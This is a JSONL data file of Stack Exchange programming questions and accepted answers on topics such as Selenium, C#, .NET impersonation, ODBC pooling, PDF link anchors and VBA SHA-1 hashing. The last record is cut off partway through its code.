{"id": "hf_96d8815f91cf", "question": "<p>Selenium Remote Control has a method of \"get_html_source\", which returns the source of the current page as a string.</p>\n\n<p>AFAIK, this method works in all cases in Firefox and Safari. But when it's invoked in Internet Explorer, it returns an incorrect source.</p>\n\n<p>Does anyone know if this is a bug with Selenium or Internet Explorer, and if there's a fix?</p>\n", "question_body": "", "answer": "I'm 99% sure get_html_source uses the browser's innerHTML property. InnerHTML returns the browser's internal representation of a document, and has always been inconsistent and \"wonky\" between platforms.\nYou can test this by temporarily adding the following onload attribute to the body tag of your page.\n```\n```\nonload=\"var oArea = document.createElement('textarea');oArea.rows=80;oArea.cols=80;oArea.value = document.getElementsByTagName('html')[0].innerHTML;document.getElementsByTagName('body')[0].appendChild(oArea)\"\n```\n```\nThis will add a text area to the bottom of your page with the document's innerHTML.  If you see the same \"incorrect\" HTML source you know IE's the culprit here.\nPossible workarounds would be running the source through HTML Tidy or some other cleaner if you're after valid markup.  I don't know of anything that will give you a consistent rendering between browsers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.186121"}
{"id": "hf_380248d3e791", "question": "<p>I have been running <a href=\"http://en.wikipedia.org/wiki/StyleCop\" rel=\"noreferrer\">StyleCop</a> over some C# code, and it keeps reporting that my <code>using</code> directives should be inside the namespace.</p>\n\n<p>Is there a technical reason for putting the <code>using</code> directives inside instead of outside the namespace?</p>\n", "question_body": "", "answer": "Putting it inside the namespaces makes the declarations local to that namespace for the file (in case you have multiple namespaces in the file) but if you only have one namespace per file then it doesn't make much of a difference whether they go outside or inside the namespace.\n```\n```\nusing ThisNamespace.IsImported.InAllNamespaces.Here;\n\nnamespace Namespace1\n{ \n   using ThisNamespace.IsImported.InNamespace1.AndNamespace2;\n\n   namespace Namespace2\n   { \n      using ThisNamespace.IsImported.InJustNamespace2;\n   }       \n}\n\nnamespace Namespace3\n{ \n   using ThisNamespace.IsImported.InJustNamespace3;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.210903"}
{"id": "hf_fbddd083e696", "question": "<p>Is there a simple out of the box way to impersonate a user in .NET?</p>\n\n<p>So far I've been using <a href=\"http://www.codeproject.com/KB/cs/zetaimpersonator.aspx\" rel=\"noreferrer\">this class from code project</a> for all my impersonation requirements.</p>\n\n<p>Is there a better way to do it by using .NET Framework?</p>\n\n<p>I have a user credential set, (username, password, domain name) which represents the identity I need to impersonate.</p>\n", "question_body": "", "answer": "Here is some good overview of .NET impersonation concepts.\nMichiel van Otegem: WindowsImpersonationContext made easy\nWindowsIdentity.Impersonate Method (check out the code samples)\nBasically you will be leveraging these classes that are out of the box in the .NET framework:\nWindowsImpersonationContext\nWindowsIdentity\nThe code can often get lengthy though and that is why you see many examples like the one you reference that try to simplify the process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.247482"}
{"id": "hf_05e2040d1f0c", "question": "<p>What are the advantages and limitations of dynamic type languages compared to static type languages?</p>\n\n<p><strong>See also</strong>: <a href=\"https://stackoverflow.com/questions/42934/whats-with-the-love-of-dynamic-languages\">whats with the love of dynamic languages</a> (a far more argumentative thread...)</p>\n", "question_body": "", "answer": "The ability of the interpreter to deduce type and type conversions makes development time faster, but it also can provoke runtime failures which you just cannot get in a statically typed language where you catch them at compile time. But which one's better (or even if that's always true) is hotly discussed in the community these days (and since a long time).\nA good take on the issue is from\nStatic Typing Where Possible, Dynamic Typing When Needed: The End of the Cold War Between Programming Languages\nby Erik Meijer and Peter Drayton at Microsoft:\nAdvocates of static typing argue that\n  the advantages of static typing\n  include earlier detection of\n  programming mistakes (e.g. preventing\n  adding an integer to a boolean),\n  better documentation in the form of\n  type signatures (e.g. incorporating\n  number and types of arguments when\n  resolving names), more opportunities\n  for compiler optimizations (e.g.\n  replacing virtual calls by direct\n  calls when the exact type of the\n  receiver is known statically),\n  increased runtime efficiency (e.g. not\n  all values need to carry a dynamic\n  type), and a better design time\n  developer experience (e.g. knowing the\n  type of the receiver, the IDE can\n  present a drop-down menu of all\n  applicable members). Static typing\n  fanatics try to make us believe that\n  “well-typed programs cannot go wrong”.\n  While this certainly sounds\n  impressive, it is a rather vacuous\n  statement. Static type checking is a\n  compile-time abstraction of the\n  runtime behavior of your program, and\n  hence it is necessarily only partially\n  sound and incomplete. This means that\n  programs can still go wrong because of\n  properties that are not tracked by the\n  type-checker, and that there are\n  programs that while they cannot go\n  wrong cannot be type-checked. The\n  impulse for making static typing less\n  partial and more complete causes type\n  systems to become overly complicated\n  and exotic as witnessed by concepts\n  such as “phantom types” [11] and\n  “wobbly types” [10]. This is like\n  trying to run a marathon with a ball\n  and chain tied to your leg and\n  triumphantly shouting that you nearly\n  made it even though you bailed out\n  after the first mile.\nAdvocates of dynamically typed\n  languages argue that static typing is\n  too rigid, and that the softness of\n  dynamically languages makes them\n  ideally suited for prototyping systems\n  with changing or unknown requirements,\n  or that interact with other systems\n  that change unpredictably (data and\n  application integration). Of course,\n  dynamically typed languages are\n  indispensable for dealing with truly\n  dynamic program behavior such as\n  method interception, dynamic loading,\n  mobile code, runtime reflection, etc.\n  In the mother of all papers on\n  scripting [16], John Ousterhout argues\n  that statically typed systems\n  programming languages make code less\n  reusable, more verbose, not more safe,\n  and less expressive than dynamically\n  typed scripting languages. This\n  argument is parroted literally by many\n  proponents of dynamically typed\n  scripting languages. We argue that\n  this is a fallacy and falls into the\n  same category as arguing that the\n  essence of declarative programming is\n  eliminating assignment. Or as John\n  Hughes says [8], it is a logical\n  impossibility to make a language more\n  powerful by omitting features.\n  Defending the fact that delaying all\n  type-checking to runtime is a good\n  thing, is playing ostrich tactics with\n  the fact that errors should be caught\n  as early in the development process as\n  possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.299400"}
{"id": "hf_4f075be673fc", "question": "<p>I've tried this, but get a ClassNotFoundException when calling:</p>\n\n<pre><code>Class.forName(\"com.AClass\", false, mySpecialLoader)\n</code></pre>\n", "question_body": "", "answer": "The ClassLoader will have to call defineClass to get the Class.  According to the JavaDoc for defineClass:\nIf name is not null, it must be equal\n  to the binary name of the class\n  specified by the byte array.\nIf the name is null, it will get it from the bytecode. So you can return any class you want as long as it's called com.AClass. In other words, you could have multiple versions of com.AClass.  You could even use something like JavaAssist to create a class on the fly.\nBut that doesn't explain the ClassNotFoundException - it sounds like your class loader isn't returning anything.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.338977"}
{"id": "hf_395b0a8ab123", "question": "<p>I am writing a custom maven2 MOJO. I need to access the runtime configuration of another plugin, from this MOJO.</p>\n\n<p>What is the best way to do this?</p>\n", "question_body": "", "answer": "I'm not sure how you would do that exactly, but it seems to me that this might not be the best design decision.  If at all possible you should aim to decouple your Mojo from any other plugins out there.\nInstead I would recommend using custom properties to factor out any duplication in the configuration of separate plugins.\nYou can set a custom property \"foo\" in your pom by using the properties section:\n```\n```\n<project>\n  ...\n  <properties>\n    <foo>value</foo>\n  </properties>\n  ...\n</project>\n```\n```\nThe property foo is now accessible anywhere in the pom by using the dollar sign + curly brace notation:\n```\n```\n<somePluginProperty>${foo}</somePluginProperty>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.365618"}
{"id": "hf_88dd52aca2c0", "question": "<p>We've got a Java server application that runs on a number of computers, all connected to the Internet, some behind firewalls. We need to remotely update the JAR files and startup scripts from a central site, with no noticeable interruption to the app itself.</p>\n\n<p>The process has to be unattended and foolproof (i.e. we can't afford to break the app due to untimely internet outages).</p>\n\n<p>In the past we've used a variety of external scripts and utilities to handle similar tasks, but because they have their own dependencies, the result is harder to maintain and less portable. Before making something new, I want to get some input from the community.</p>\n\n<p>Has anyone found a good solution for this already? Got any ideas or suggestions?</p>\n\n<p><em>Just to clarify: This app is a server, but not for web applications (no webapp containers or WAR files here). It's just an autonomous Java program.</em></p>\n", "question_body": "", "answer": "I'd recommend Capistrano for multi-server deployment. While it is built for deploying Rails apps, I've seen it used successfully to deploy Java applications.\nLink:\nCapistrano 2.0 Not Just for Rails", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.426199"}
{"id": "hf_accc137b34ed", "question": "<p>I am using Excel where certain fields are allowed for user input and other cells are to be protected. I have used Tools Protect sheet, however after doing this I am not able to change the values in the VBA script. I need to restrict the sheet to stop user input, at the same time allow the VBA code to change the cell values based on certain computations.</p>\n", "question_body": "", "answer": "I don't think you can set any part of the sheet to be editable only by VBA\n, but you can do something that has basically the same effect -- you can unprotect the worksheet in VBA before you need to make changes:\n```\n```\nwksht.Unprotect()\n```\n```\nand re-protect it after you're done:\n```\n```\nwksht.Protect()\n```\n```\nEdit: Looks like this workaround may have solved Dheer's immediate problem, but for anyone who comes across this question/answer later, I was wrong about the first part of my answer, as Joe points out below.  You\ncan\nprotect a sheet to be editable by VBA-only, but it appears the \"UserInterfaceOnly\" option can only be set when calling \"Worksheet.Protect\" in code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.463550"}
{"id": "hf_c40c13e499c3", "question": "<p>I'm looking for some insight into XNA on Xbox 360, mainly if its possible to run vector-based float mathematics on its GPU?</p>\n\n<p>If there's a way, can you point me into the right direction?</p>\n", "question_body": "", "answer": "I don't claim to be an expert on this, but hopefully this can point you in a helpful direction.\nIs it possible? Yes. You probably already know that the GPU is good at such calculations (hence the question) and you can indeed control the GPU using XNA. Whether or not it will suit your needs is a different matter.\nTo make use of the GPU, you'll presumably want to write shaders using HLSL. There's a decent introduction to HLSL in the context of XNA at\nReimers\nwhich you might want to run through. Notably, that tutorial focuses on making the GPU do graphics-related crunching, but what you write in the shaders is up to you. If your vector-based float math is for the purpose of rendering (and thus can stay in the GPU domain), you're in luck and can stop here.\nLikely rendering onscreen is not what you're after. Now, you have a fair amount of flexibility in HLSL as far as doing your math goes. Getting the results out to the CPU, however, is not how the system was designed. This is getting fuzzy for me, but Shawn Hargreaves (an XNA dev) states on\nmore\nthan\none occasion\nthat getting output from the GPU (other than rendered onscreen) is non-trivial and has performance implications. Retrieving data involves a call to GetData which will\ncause a pipeline stall\n.\nSo it can be done. The XNA framework will let you write shaders for the 360 (which supports Shader Model 3.0 plus a few extensions) and it\nis\npossible to get those results out, though it may not be efficient enough for your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.513293"}
{"id": "hf_04dc78555641", "question": "<p>I have a repository of files which are unrelated to each other but are common to multiple projects. Each project might only need a subset of these files. For example:</p>\n\n<pre><code>/myRepo:\n    /jquery.js\n    /jquery.form.js\n    /jquery.ui.js\n</code></pre>\n\n<p>Project A requires <code>jquery.js</code> and <code>jquery.form.js</code>, whereas Project B requires <code>jquery.js</code> and <code>jquery.ui.js</code></p>\n\n<p>I could just do a checkout of <code>myRepo</code> into both projects, but that'd add a lot of unnecessary files into both. What I'd like is some sort of way for each Project to only get the files it needs. One way I thought it might be possible is if I put just the required files into each project and then run an <code>svn update</code> on it, but somehow stop SVN from adding new files to each directory. They'd still get the modifications to the existing files, but no unnecessary files would be added.</p>\n\n<p>Is this possible at all?</p>\n", "question_body": "", "answer": "If I understood your question correctly, you want to share code across projects? If so, look at the svn:externals property.\nExternals explained in Subversion Red Book\nsvn:externals in Windows", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.561573"}
{"id": "hf_d88f182075c3", "question": "<p>When userA uploads a file, his files will be uploaded to folderA, when userB, to folderB, and so on. Roles/Profiles in ASP.NET. Folders will be pre-existing. Anyone?</p>\n", "question_body": "", "answer": "You'll probably want to hand-code that. There's nothing intrinsic to ASP.NET for managing user files. However, the code to do so should be relatively easy. Assuming the username is unique and never changes, you can combine the username with a path (use Path.Combine) and upload to that location. I would also lock down that location so that nobody else can access it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.597507"}
{"id": "hf_21caad0ada31", "question": "<p>Is it possible to use an attribute of a child to group a query?</p>\n\n<pre><code>Post.find(:all, :include =&gt; [ :authors, :comments ], :group=&gt;'authors.city') \n</code></pre>\n\n<p>does not work. </p>\n\n<p>However, I am able to use <code>author.city</code> as part of the conditions.</p>\n", "question_body": "", "answer": "If that's what you're using, then the syntax is wrong for the :group argument, it should be:\n```\n```\nPost.find(:all, :include => [ :author, :comments ], :group=>'authors.city')\n```\n```\nMake sure your :author and :comments associations are correct.  If 'authors' is the actual table name, then you'll need a 'has_one :author' association in you Post model, and an  Author model.\nAssociations need to be correct, too:\n```\n```\nclass Post < AR:Base\n   belongs_to :author\n   has_many :comments\n end\n\n class Author < AR:Base\n   has_many :posts\n end\n\n class Comment < AR:Base\n   belongs_to :post\n end\n```\n```\nAnd the db schema:\n```\n```\nposts\n   id\n   author_id\n authors\n   id\n comments\n   id\n   post_id\n```\n```\nThis will let the query run correctly, however, now\nI'm\ngetting an error with the results... the :group clause doesn't seem to be applied when :include is used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.661543"}
{"id": "hf_457b83a89257", "question": "<p>I decided to teach myself assembly language.</p>\n\n<p>I have realized that my program will not compile if I attempt to change the value of any segment register.</p>\n\n<p>Every article that I have found says that I can indeed change the value of at least 4 segment registers, so what gives?  </p>\n\n<p>I am really only interested in the why at this point, I don't have any real purpose in changing these addresses.</p>\n", "question_body": "", "answer": "Are you writing windows executables?\nIn protected-mode (Win32), segment registers are not used any more.\nReference\n:\nMemory model is also drastically\n  different from the old days of the\n  16-bit world. Under Win32, we need not\n  be concerned with memory model or\n  segment anymore! There's only one\n  memory model: Flat memory model.\n  There's no more 64K segments. The\n  memory is a large continuous space of\n  4 GB. That also means you don't have\n  to play with segment registers. You\n  can use any segment register to\n  address any point in the memory space.\n  That's a GREAT help to programmers.\n  This is what makes Win32 assembly\n  programming as easy as C.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.685404"}
{"id": "hf_d2526c63b33c", "question": "<p>I am actually working on SP in SQL 2005. Using SP i am creating a job and am scheduling it for a particular time. These jobs take atleast 5 to 10 min to complete as the database is very huge. But I am not aware of how to check the status of the Job. I want to know if it has got completed successfully or was there any error in execution. On exception i also return proper error code. But i am not aware of where i can check for this error code.</p>\n", "question_body": "", "answer": "This is what I could find, maybe it solves your problem:\nSP to get the current job activiity.\n```\n```\nexec msdb.dbo.sp_help_jobactivity  @job_id = (your job_id here)\n```\n```\nYou can execute this SP and place the result in a temp table and get the required result from there.\nOtherwise have a look at these tables:\nmsdb.dbo.sysjobactivity\nmsdb.dbo.sysjobhistory\nRun the following to see the association between these tables.\nexec sp_helptext sp_help_jobactivity", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.759280"}
{"id": "hf_36bd2a9980e3", "question": "<p>I open a connection like this:</p>\n\n<pre><code>Using conn as New OdbcConnection(connectionString)\n    conn.Open()\n    //do stuff\nEnd Using\n</code></pre>\n\n<p>If connection pooling is enabled, the connection is not physically closed but released to the pool and will get reused. If it is disabled, it will be physically closed.</p>\n\n<p>Is there any way of knowing <strong>programmatically</strong> <em>if</em> connection pooling is enabled or not? and the number of used and unused connections currently open in the pool?</p>\n\n<p><strong>EDIT:</strong> I need to get this information from within the program, I can't go and check it manually on every single PC where the program will be deployed.</p>\n", "question_body": "", "answer": "MSDN as\nin-depth guidelines on this\nConfiguring Connection Pooling from\nthe Data Source Administrator\n[snip]\nAlternatively, you can start the ODBC\nData Source Administrator at the Run\nprompt. On the taskbar,\nclick Start,\nclick Run, and then type Odbcad32.\nThe tab for managing connection\npooling is found in the ODBC Data\nSource Administrator dialog box in\nversion ODBC 3.5 and later.\nConfiguring Connection Pooling from\nthe Registry\nFor versions prior to version 3.5 of\nthe ODBC core components, you need to\nmodify the registry directly to\ncontrol the connection pooling\nCPTimeout value.\nPooling is always handled by data server software. The whole point being is that in .NET you shouldn't have to worry about it (for example, this is why you should always use the SqlConnection when working with SQL Server - part of it is that it enables the connection pooling).\nUpdate\nOn Vista, just type \"ODBC\" in the Start menu and it will find the app for you.\nUpdate Following Clarification from OP\nIn terms of determining if connection pooling is enabled on each machine, looking at the\nMSDN guidelines\nI whould say you would best best if you check the registry values (See\nthis article\nfor pointers on registry access).\nTBH though, unless the client machines are really crappy, I would possibly not even bother.. AFAIK it is enabled by default, and opening connections on a client machine (in my experience) has never been a big deal. It only really becomes a big deal when\nlots\nare being opened.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.784301"}
{"id": "hf_e91810f65f53", "question": "<p>Ok, my web application is at <strong>C:\\inetpub\\wwwroot\\website</strong></p>\n\n<p>The files I want to link to are in <strong>S:\\someFolder</strong></p>\n\n<p>Can I make a link in the webapp that will direct to the file in <strong>someFolder</strong>?</p>\n", "question_body": "", "answer": "If its on a different drive on the server, you will need to make a\nvirtual directory\nin IIS. You would then link to \"\n```\n/virtdirect/somefolder/\n```\n\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.849552"}
{"id": "hf_f4bedb9da3c9", "question": "<p>I'm working on an app that requires no user input, but I don't want the iPhone to enter the power saving mode.</p>\n\n<p>Is it possible to disable power saving from an app?</p>\n", "question_body": "", "answer": "Objective-C\n```\n```\n[[UIApplication sharedApplication] setIdleTimerDisabled:YES];\n```\n```\nSwift\n```\n```\nUIApplication.shared.isIdleTimerDisabled = true\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.885344"}
{"id": "hf_c2fab633ed01", "question": "<p>I want to call a web service, but I won't know the url till runtime.</p>\n\n<p>Whats the best way to get the web reference in, without actually committing to a url.</p>\n\n<p>What about having 1 client hit the same web service on say 10 different domains?</p>\n", "question_body": "", "answer": "Create the web reference, and convert the web service to a dynamic web service. A dynamic web service allows you to modify the Url.\nYou need to create the web reference now to ensure your application understands the interfaces available. By switching to a dynamic web service you can then modify the .Url property after you have initialised the web reference in your code.\n```\n```\nservice = new MyWebService.MyWebService();\nservice.Url = myWebServiceUrl;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.933613"}
{"id": "hf_98b40fe07645", "question": "<p>When providing a link to a PDF file on a website, is it possible to include information in the URL (request parameters) which will make the PDF browser plugin (if used) jump to a particular bookmark instead of just opening at the beginning?</p>\n\n<p>Something like: <a href=\"http://www.somehost.com/user-guide.pdf?bookmark=chapter3\" rel=\"noreferrer\">http://www.somehost.com/user-guide.pdf?bookmark=chapter3</a> ?</p>\n\n<p>If not a bookmark, would it be possible to go to a particular page?</p>\n\n<p>I'm assuming that if there is an answer it may be specific to Adobe's PDF reader plugin or something, and may have version limitations, but I'm mostly interested in whether the technique exists at all.</p>\n", "question_body": "", "answer": "Yes, you can link to specific pages by number or named locations and that will always work\nif the user's browser uses Adobe Reader as plugin for viewing PDF files\n.\nFor a specific page by number:\n```\n```\n<a href=\"http://www.domain.com/file.pdf#page=3\">Link text</a>\n```\n```\nFor a named location (destination):\n```\n```\n<a href=\"http://www.domain.com/file.pdf#nameddest=TOC\">Link text</a>\n```\n```\nTo create destinations within a PDF with Acrobat:\nManually navigate through the PDF for the desired location\nGo to View > Navigation Tabs > Destinations\nUnder Options, choose Scan Document\nOnce this is completed, select New Destination from the Options menu and enter an appropriate name", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:05.958113"}
{"id": "hf_5a30cbbec70e", "question": "<p>How do I write a program that tells when my other program ends?</p>\n", "question_body": "", "answer": "This is called the \"halting problem\" and is not solvable.\nSee\nhttp://en.wikipedia.org/wiki/Halting_problem", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.031186"}
{"id": "hf_b6cc86678dc7", "question": "<p>So I'm writing a framework on which I want to base a few apps that I'm working on (the framework is there so I have an environment to work with, and a system that will let me, for example, use a single sign-on)</p>\n\n<p>I want to make this framework, and the apps it has use a Resource Oriented Architecture.</p>\n\n<p>Now, I want to create a URL routing class that is expandable by APP writers (and possibly also by CMS App users, but that's WAYYYY ahead in the future) and I'm trying to figure out the best way to do it by looking at how other apps do it.</p>\n", "question_body": "", "answer": "Use a list of Regexs to match which object I should be using\nFor example\n```\n```\n^/users/[\\w-]+/bookmarks/(.+)/$\n^/users/[\\w-]+/bookmarks/$\n^/users/[\\w-]+/$\n```\n```\nPros: Nice and simple, lets me define routes directly\nCons: Would have to be ordered, not making it easy to add new things in (very error prone)\nThis is, afaik, how Django does it", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.067474"}
{"id": "hf_5a6d9df76042", "question": "<p>I'm using Python, and would like to insert a string into a text file without deleting or copying the file. How can I do that?</p>\n", "question_body": "", "answer": "Depends on what you want to do.  To append you can open it with \"a\":\n```\n```\nwith open(\"foo.txt\", \"a\") as f:\n     f.write(\"new line\\n\")\n```\n```\nIf you want to preprend something you have to read from the file first:\n```\n```\nwith open(\"foo.txt\", \"r+\") as f:\n     old = f.read() # read everything in the file\n     f.seek(0) # rewind\n     f.write(\"new line\\n\" + old) # write the new line before\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.103223"}
{"id": "hf_6cb2879f48d6", "question": "<p>I would like to know your experience when you need to take over somebody else's software project - more so when the original software developer has already resigned.</p>\n", "question_body": "", "answer": "The most success that we've had with that is to \"wiki\" everything. During the notice period ask the leaving developer to help you document everything in the team/company wiki and see if you can do code reviews with him/her and add comments to the code while doing the reviews that explain sections. Best for the \"taking over\" developer to write the comments in the code under the supervision of the leaver.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.137722"}
{"id": "hf_5e685c73fb72", "question": "<p>Is there any way to edit column names in a DataGridView?</p>\n", "question_body": "", "answer": "I don't think there is a way to do it without writing custom code.\nI'd implement a ColumnHeaderDoubleClick event handler, and create a TextBox control right on top of the column header.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.160870"}
{"id": "hf_d86d25216afa", "question": "<p>I'm wondering, and in need, of strategies that can be applied to reducing low-level locking.\nHowever the catch here is that this is not new code (with tens of thousands of lines of C++ code) for a server application, so I can't just rewrite the whole thing.</p>\n\n<p>I fear there might not be a solution to this problem by now (too late). However I'd like to hear about good patterns others have used.</p>\n\n<p>Right now there are too many lock and not as many conflicts, so it's a paranoia induced hardware performance issue.\nThe best way to describe the code is as single threaded code suddenly getting peppered with locks.</p>\n", "question_body": "", "answer": "The threading model of your program has to be decided before a single line is written. Any module, if inconsistent with the rest of the program, can crash, corrupt of deadlock the application.\nIf you have the luxury of starting fresh, try to identify large functions of your program that can be done in parallel and use a thread pool to schedule the tasks. The trick to efficiency is to avoid mutexes wherever possible and (re)code your app to avoid contention for resources at a high level.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.220681"}
{"id": "hf_c9397bf7b39d", "question": "<p>I'm looking for a way to set the default language for visitors comming to a site built in EPiServer for the first time. Not just administrators/editors in the backend, people comming to the public site.</p>\n", "question_body": "", "answer": "Depends on your setup.\nIf the site languages is to change under different domains you can do this.\nAdd to configuration -> configSections nodes in web.config:\n```\n```\n<sectionGroup name=\"episerver\">\n  <section name=\"domainLanguageMappings\" allowDefinition=\"MachineToApplication\" allowLocation=\"false\" type=\"EPiServer.Util.DomainLanguageConfigurationHandler,EPiServer\" />\n```\n```\n..and add this to episerver node in web.config:\n```\n```\n<domainLanguageMappings>\n    <map domain=\"site.com\" language=\"EN\" />\n    <map domain=\"site.se\" language=\"SV\" />\n  </domainLanguageMappings>\n```\n```\nOtherwhise you can do something like this.\nAdd to appSettings in web.config:\n```\n```\n<add name=\"EPsDefaultLanguageBranch\" key=\"EN\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:06.244596"}
{"id": "hf_dd0a70c1dce1", "question": "<p>I need a function written in Excel VBA that will hash passwords using a standard algorithm such as SHA-1.  Something with a simple interface like:</p>\n\n<pre><code>Public Function CreateHash(Value As String) As String\n...\nEnd Function\n</code></pre>\n\n<p>The function needs to work on an XP workstation with Excel 2003 installed, but otherwise must use no third party components.  It can reference and use DLLs that are available with XP, such as CryptoAPI.  </p>\n\n<p>Does anyone know of a sample to achieve this hashing functionality?</p>\n", "question_body": "", "answer": "Here's a module for calculating SHA1 hashes that is usable for Excel formulas eg. '=SHA1HASH(\"test\")'. To use it, make a new module called 'module_sha1' and copy and paste it all in.\nThis is based on some VBA code from\nhttp://vb.wikia.com/wiki/SHA-1.bas\n, with changes to support passing it a string, and executable from formulas in Excel cells.\n```\n```\n' Based on: http://vb.wikia.com/wiki/SHA-1.bas\nOption Explicit\n\nPrivate Type FourBytes\n    A As Byte\n    B As Byte\n    C As Byte\n    D As Byte\nEnd Type\nPrivate Type OneLong\n    L As Long\nEnd Type\n\nFunction HexDefaultSHA1(Message() As Byte) As String\n Dim H1 As Long, H2 As Long, H3 As Long, H4 As Long, H5 As Long\n DefaultSHA1 Message, H1, H2, H3, H4, H5\n HexDefaultSHA1 = DecToHex5(H1, H2, H3, H4, H5)\nEnd Function\n\nFunction HexSHA1(Message() As Byte, ByVal Key1 As Long, ByVal Key2 As Long, ByVal Key3 As Long, ByVal Key4 As 